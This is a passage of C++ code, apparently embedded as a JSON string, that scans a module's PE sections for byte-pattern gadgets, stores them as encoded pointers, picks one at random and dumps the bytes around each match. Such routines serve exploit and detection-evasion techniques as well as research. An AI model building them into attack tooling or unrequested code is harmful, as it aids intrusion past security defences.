{\r\n\r\n            PBYTE sectionBase = reinterpret_cast<PBYTE>(moduleBase + pSectionHeader->VirtualAddress);\r\n            PBYTE sectionEnd = sectionBase + pSectionHeader->Misc.VirtualSize;\r\n\r\n            // Search within the section for the gadget pattern\r\n            for (PBYTE currentBytes = sectionBase; currentBytes <= sectionEnd - gadgetSize; ++currentBytes) {\r\n                if (!memcmp(currentBytes, gadget, gadgetSize)) {\r\n                    gadgets.emplace_back(EncodePointer(reinterpret_cast<PVOID>(currentBytes))); // Construct each encoded address inside the vector\r\n                }\r\n            }\r\n        }\r\n    }\r\n    //printf(\"Found %u gadgets\\n\", gadgets.size());\r\n    return gadgets;\r\n}\r\n\r\n// Choose a random gadget\r\nPVOID GoGoGadget(std::vector<PVOID> gadgets) {\r\n    if (gadgets.empty()) return nullptr; // Return nullptr if the vector is empty\r\n\r\n    // Randomly select and decode a gadget address\r\n    static std::mt19937 rng(static_cast<unsigned int>(std::time(nullptr)));\r\n    std::uniform_int_distribution<size_t> dist(0, gadgets.size() - 1);\r\n    return DecodePointer((gadgets)[dist(rng)]);\r\n}\r\n\r\n// Checks the bytes immediately before each gadget\r\nVOID CheckGadgetPreBytes(const std::vector<PVOID>& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize) {\r\n    for (const auto& encodedGadget : gadgets) {\r\n        PBYTE gadgetAddress = reinterpret_cast<PBYTE>(DecodePointer(encodedGadget)); // Decode the pointer\r\n\r\n        // Ensure we can read preceding bytes safely\r\n        PBYTE precedingBytes = gadgetAddress - lookbackSize;\r\n        if (precedingBytes >= gadgetAddress) {\r\n            printf(\"Skipping address %p (out of range)\\n\", gadgetAddress);\r\n            continue; // Prevent underflow if the address is too low in memory\r\n        }\r\n\r\n        // Print address and bytes\r\n        printf(\"Address: %p -> \", gadgetAddress);\r\n        for (SIZE_T i = 0; i < lookbackSize + gadgetSize + 8; i++) { // Include gadget bytes and 4 bytes ahead of gadget too\r\n            printf(\"%02X \", precedingBytes[i]);\r\n        }\r\n        printf(\"\\n\");\r\n    }\r\n}"
  }
]